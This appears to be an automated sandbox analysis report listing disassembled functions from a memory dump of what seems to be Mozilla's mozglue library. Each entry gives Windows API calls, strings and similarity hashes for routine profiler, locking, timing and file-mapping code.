Part of subcall function 6C669420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C669470
Part of subcall function 6C669420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C669482
Part of subcall function 6C669420: __Init_thread_footer.LIBCMT ref: 6C66949F

GetCurrentThreadId.KERNEL32 ref: 6C66DE73
GetCurrentThreadId.KERNEL32 ref: 6C66DF7D
AcquireSRWLockExclusive.KERNEL32(6C6AF4B8), ref: 6C66DF8A
ReleaseSRWLockExclusive.KERNEL32(6C6AF4B8), ref: 6C66DFC9
GetCurrentThreadId.KERNEL32 ref: 6C66DFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C66E000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C634A68), ref: 6C66DE7B

Part of subcall function 6C6694D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6694EE
Part of subcall function 6C6694D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C669508

Part of subcall function 6C65CBE8: GetCurrentProcess.KERNEL32(?,6C6231A7), ref: 6C65CBF1
Part of subcall function 6C65CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6231A7), ref: 6C65CBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C634A68), ref: 6C66DEB8
free.MOZGLUE(00000000,?,6C634A68), ref: 6C66DEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C66DF38

Strings

[I %d/%d] locked_profiler_stop, xrefs: 6C66DE83
<none>, xrefs: 6C66DFD7
[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6C66E00E

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: 49c4ab8d77977bd55438d8c0ab1bf0af0d090d4e5218002a99f6fbd0da67a8e3
Instruction ID: 2b2ba7a6cb8284805903aac70c1b94a78dafe9606fdc60ab85beabb5a6986297
Opcode Fuzzy Hash: 49c4ab8d77977bd55438d8c0ab1bf0af0d090d4e5218002a99f6fbd0da67a8e3
Instruction Fuzzy Hash: 04419071B011159FDB109BA6E8846AE77B5EF8630CF640015E90597F42CB71A806CBAF

Function 6C67D840 Relevance: 21.2, APIs: 14, Instructions: 206threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C67D85F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C67D86C
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C67D918
GetCurrentThreadId.KERNEL32 ref: 6C67D93C
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C67D948
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C67D970
GetCurrentThreadId.KERNEL32 ref: 6C67D976
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C67D982
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C67D9CF
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C67DA2E
GetCurrentThreadId.KERNEL32 ref: 6C67DA6F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C67DA78
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE ref: 6C67DA91

Part of subcall function 6C645C50: GetTickCount64.KERNEL32 ref: 6C645D40
Part of subcall function 6C645C50: EnterCriticalSection.KERNEL32(6C6AF688), ref: 6C645D67

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C67DAB7

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Count64CriticalEnterSectionStampTickTimeV01@@Value@mozilla@@Xbad_function_call@std@@
String ID:
API String ID: 1195625958-0
Opcode ID: 2701f66d76da71e2b270e157145e3b160b501fc6c176e80df65dbb19bfdbcc05
Instruction ID: 10a15adcff50b87972e5ba1e4c31aaa0e429b9e16daa3f47fb4b934d51b5a751
Opcode Fuzzy Hash: 2701f66d76da71e2b270e157145e3b160b501fc6c176e80df65dbb19bfdbcc05
Instruction Fuzzy Hash: C271BF716043049FCB00DF29C888B9EBBF5FFC9354F158969E85A9B301DB30A945CBA9

Function 6C67D4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C67D4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C67D4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C67D52A
GetCurrentThreadId.KERNEL32 ref: 6C67D530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C67D53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C67D55F
free.MOZGLUE(00000000), ref: 6C67D585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C67D5D3
GetCurrentThreadId.KERNEL32 ref: 6C67D5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C67D605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C67D652
GetCurrentThreadId.KERNEL32 ref: 6C67D658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C67D667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C67D6A2

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: 6f1cfe80865592dc81114aad727bbf5530c503d801a7d477d94fc9224eb2d841
Instruction ID: 13f3c3848ab5faa6b262a62e97fd326d09eaed3abab62128c2c504a021a6ff9f
Opcode Fuzzy Hash: 6f1cfe80865592dc81114aad727bbf5530c503d801a7d477d94fc9224eb2d841
Instruction Fuzzy Hash: C3517C71604709EFC700DF75C484A9ABBF4FF8A358F108A2DE84A87710DB31A855CB99

Function 6C621E90 Relevance: 19.6, APIs: 9, Strings: 4, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6AE784), ref: 6C621EC1
LeaveCriticalSection.KERNEL32(6C6AE784), ref: 6C621EE1
EnterCriticalSection.KERNEL32(6C6AE744), ref: 6C621F38
LeaveCriticalSection.KERNEL32(6C6AE744), ref: 6C621F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6C621F83
LeaveCriticalSection.KERNEL32(6C6AE784), ref: 6C621FC0
EnterCriticalSection.KERNEL32(6C6AE784), ref: 6C621FE2
LeaveCriticalSection.KERNEL32(6C6AE784), ref: 6C621FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C622019

Strings

\jl, xrefs: 6C621F3E
Djl, xrefs: 6C621F56
MOZ_CRASH(), xrefs: 6C622000
Djl, xrefs: 6C621F32

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: Djl$Djl$MOZ_CRASH()$\jl
API String ID: 2055633661-2548636888
Opcode ID: 9653ddade3d633e508496c21bf4ab0dc2dfa0aa15f1f636e8a3e5a8c53062145
Instruction ID: 2288a535d2fa2a4ff4a4d093932800ad237cc24dc58c39c376244985e63d57f4
Opcode Fuzzy Hash: 9653ddade3d633e508496c21bf4ab0dc2dfa0aa15f1f636e8a3e5a8c53062145
Instruction Fuzzy Hash: 6041DC71B043198BDB108FAAD888BAE7AB5EB8A348F000025E91597741DB75EC11CFDE

Function 6C645670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6C6456D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C6456E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6C6456F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6C645744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6C6457BC
GetTickCount64.KERNEL32 ref: 6C6458CB
EnterCriticalSection.KERNEL32(6C6AF688), ref: 6C6458F3
__aulldiv.LIBCMT ref: 6C645945
LeaveCriticalSection.KERNEL32(6C6AF688), ref: 6C6459B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6C6AF638,?,?,?,?), ref: 6C6459E9

Strings

MOZ_APP_RESTART, xrefs: 6C6456CC

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: eebaaf196c041ace9f44cd26d8c1e97e7d16a2b52c31fb6924a58fa7d2797dac
Instruction ID: 39af734e697039a70432b02465be4fdeec68369a021c90aeaf15392473494493
Opcode Fuzzy Hash: eebaaf196c041ace9f44cd26d8c1e97e7d16a2b52c31fb6924a58fa7d2797dac
Instruction Fuzzy Hash: CFC16831A083909FDB05DF69C48066EBBF1BF8A714F15DA1DE8C497661D730A885CB8B

Function 6C66EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C669420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C634A68), ref: 6C66945E
Part of subcall function 6C669420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C669470
Part of subcall function 6C669420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C669482
Part of subcall function 6C669420: __Init_thread_footer.LIBCMT ref: 6C66949F

GetCurrentThreadId.KERNEL32 ref: 6C66EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C66EC8C

Part of subcall function 6C6694D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6694EE
Part of subcall function 6C6694D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C669508

GetCurrentThreadId.KERNEL32 ref: 6C66ECA1
AcquireSRWLockExclusive.KERNEL32(6C6AF4B8), ref: 6C66ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C66ECC5
ReleaseSRWLockExclusive.KERNEL32(6C6AF4B8), ref: 6C66ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C66ED19
CloseHandle.KERNEL32(?), ref: 6C66ED28
free.MOZGLUE(00000000), ref: 6C66ED2F
ReleaseSRWLockExclusive.KERNEL32(6C6AF4B8), ref: 6C66ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C66EC94

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 9e5c1398c0483fa462fb6c5161f94aa8f38b8b7ab118a5c92a702d503bfd202c
Instruction ID: 417f492a7da6d6d6e916bbb040eef94f620e49ad3dd9716a4c6d148a36e1bd91
Opcode Fuzzy Hash: 9e5c1398c0483fa462fb6c5161f94aa8f38b8b7ab118a5c92a702d503bfd202c
Instruction Fuzzy Hash: D7215375600108AFDB009FA6EC44A9E77B9EF8636CF144211F91457A42DB35A8068BAF

Function 6C668ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6C62EB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C62EB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6C66B392,?,?,00000001), ref: 6C6691F4

Part of subcall function 6C65CBE8: GetCurrentProcess.KERNEL32(?,6C6231A7), ref: 6C65CBF1
Part of subcall function 6C65CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6231A7), ref: 6C65CBFA

Strings

timeline-overview, xrefs: 6C66907A
timeline-ipc, xrefs: 6C669096
stack-chart, xrefs: 6C6690B2
marker-table, xrefs: 6C66906C
name, xrefs: 6C668F16
timeline-memory, xrefs: 6C669088
marker-chart, xrefs: 6C66905E
timeline-fileio, xrefs: 6C6690A4
data, xrefs: 6C6690E8

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: f46f4252eef80002198169044cf97b9bdad84652f2fe946f02ac7813dc743edd
Instruction ID: b49347e0f4be9ee96c8f36c8763f454e1498d84bcd84605cd4b5c053907c8c1b
Opcode Fuzzy Hash: f46f4252eef80002198169044cf97b9bdad84652f2fe946f02ac7813dc743edd
Instruction Fuzzy Hash: 14B1B5B1A0120A9BDB04CF96C5917EEBBB5EF85318F104429D906ABF80D731AD45CBDE

Function 6C64C570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C64C5A3
WideCharToMultiByte.KERNEL32 ref: 6C64C9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C64C9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C64CA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C64CA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C64CAA5

Strings

(null), xrefs: 6C64C596
0, xrefs: 6C64D30A

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: c7b61f753db10b8bee34432ea381b1db4df220a784ff00a6dd76d56c60d70439
Instruction ID: 46d812fe765bdeb771f70a762c7e4084751af91b3702f9510938360b738f0d67
Opcode Fuzzy Hash: c7b61f753db10b8bee34432ea381b1db4df220a784ff00a6dd76d56c60d70439
Instruction Fuzzy Hash: F6A19E70608341AFDB01DF29C59475ABBE1AFCA748F04C91DE98A97741D731E809CB9A

Function 6C64C769 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 159COMMON

Download Yara Rule

APIs

islower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C64C784
_dsign.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C64C801
_dtest.API-MS-WIN-CRT-MATH-L1-1-0(?), ref: 6C64C83D
?ToPrecision@DoubleToStringConverter@double_conversion@@QBE_NNHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C64C891

Strings

NAN, xrefs: 6C64C7AD
INF, xrefs: 6C64C794
nan, xrefs: 6C64C7A8
inf, xrefs: 6C64C78F

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@DoublePrecision@_dsign_dtestislower
String ID: INF$NAN$inf$nan
API String ID: 1991403756-4166689840
Opcode ID: 65e81c34282a501f027fabdd5c4645da675581e9bcf529005f54336ff433731a
Instruction ID: c48784d4df20270b823b6ca0494f86280da3679b3403d5a05f1cdeaf37beed90
Opcode Fuzzy Hash: 65e81c34282a501f027fabdd5c4645da675581e9bcf529005f54336ff433731a
Instruction Fuzzy Hash: F5518270A087449BD700DF6DC58169AFBF0BF8A304F00CA2DE9D6A7751E771D9898B4A

Function 6C623480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C623284,?,?,6C6456F6), ref: 6C623492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C623284,?,?,6C6456F6), ref: 6C6234A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C623284,?,?,6C6456F6), ref: 6C6234EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C62350E
__Init_thread_footer.LIBCMT ref: 6C623522
__aulldiv.LIBCMT ref: 6C623552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C623284,?,?,6C6456F6), ref: 6C62357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C623284,?,?,6C6456F6), ref: 6C623592

Part of subcall function 6C65AB89: EnterCriticalSection.KERNEL32(6C6AE370,?,?,?,6C6234DE,6C6AF6CC,?,?,?,?,?,?,?,6C623284), ref: 6C65AB94
Part of subcall function 6C65AB89: LeaveCriticalSection.KERNEL32(6C6AE370,?,6C6234DE,6C6AF6CC,?,?,?,?,?,?,?,6C623284,?,?,6C6456F6), ref: 6C65ABD1

Strings

kernel32.dll, xrefs: 6C6234EA
GetSystemTimePreciseAsFileTime, xrefs: 6C623508

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: 43086aa1932a9448fa25648748d5294fbf325fff8ed11b4786ee82ab4af44fcd
Instruction ID: 656433b497fa73124692c91118b45bb851ef190b87c3328896a5bfcea23e13ab
Opcode Fuzzy Hash: 43086aa1932a9448fa25648748d5294fbf325fff8ed11b4786ee82ab4af44fcd
Instruction Fuzzy Hash: 0F31C771B001099BDF10DFF6D888AAE77B9FB86304F104029E545E3660DB74B906CF6A

Function 6C624480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C664843,?), ref: 6C6245F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6C664843,?), ref: 6C62468A
free.MOZGLUE(?,?,?,?,?,?,6C664843,?), ref: 6C6246C9
free.MOZGLUE(?), ref: 6C6246EF
free.MOZGLUE(?), ref: 6C624712
free.MOZGLUE(?), ref: 6C624735
free.MOZGLUE(?), ref: 6C624758
free.MOZGLUE(?), ref: 6C62477B
free.MOZGLUE(?), ref: 6C62479E

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 4be233aa9123aee44efa3497706eea973f4284a90cb9e31118053a663d73a565
Instruction ID: 327b65b0d31a7ec39960b91c49f14a8e3c5507b0191bdcd764c30065ca05d387
Opcode Fuzzy Hash: 4be233aa9123aee44efa3497706eea973f4284a90cb9e31118053a663d73a565
Instruction Fuzzy Hash: 1AB1D471A001108FDB188E3CD8D47BD76A2EF42328F184629E856DBB96D7B9D8408F89

Function 6C68AC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C68AC52
CreateFileMappingW.KERNEL32 ref: 6C68AC7D
GetSystemInfo.KERNEL32 ref: 6C68AC98
MapViewOfFile.KERNEL32 ref: 6C68ACB0
GetSystemInfo.KERNEL32 ref: 6C68ACCD
MapViewOfFile.KERNEL32 ref: 6C68AD05
UnmapViewOfFile.KERNEL32 ref: 6C68AD1C
CloseHandle.KERNEL32 ref: 6C68AD28
UnmapViewOfFile.KERNEL32 ref: 6C68AD37
CloseHandle.KERNEL32 ref: 6C68AD43
CloseHandle.KERNEL32 ref: 6C68AD67

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: a429d9e8b0cd3e28a125b7cc328559c7dbeb91d43af4c44a803abfd1303a65f2
Instruction ID: 4517bc6a266f42ffe540f8ab519c2998b5c053d73b44e6d945788d2a7e7e92f2
Opcode Fuzzy Hash: a429d9e8b0cd3e28a125b7cc328559c7dbeb91d43af4c44a803abfd1303a65f2
Instruction Fuzzy Hash: 263192B1A053098FDB00AFBDD68826EBBF0FF85304F01492DE98587241EB70A459CB96

Function 6C639620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C639675
__Init_thread_footer.LIBCMT ref: 6C639697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C6396E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C639707
__Init_thread_footer.LIBCMT ref: 6C63971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C639773

Part of subcall function 6C65AB89: EnterCriticalSection.KERNEL32(6C6AE370,?,?,?,6C6234DE,6C6AF6CC,?,?,?,?,?,?,?,6C623284), ref: 6C65AB94
Part of subcall function 6C65AB89: LeaveCriticalSection.KERNEL32(6C6AE370,?,6C6234DE,6C6AF6CC,?,?,?,?,?,?,?,6C623284,?,?,6C6456F6), ref: 6C65ABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C6397B7
FreeLibrary.KERNEL32 ref: 6C6397D0
FreeLibrary.KERNEL32 ref: 6C6397EB
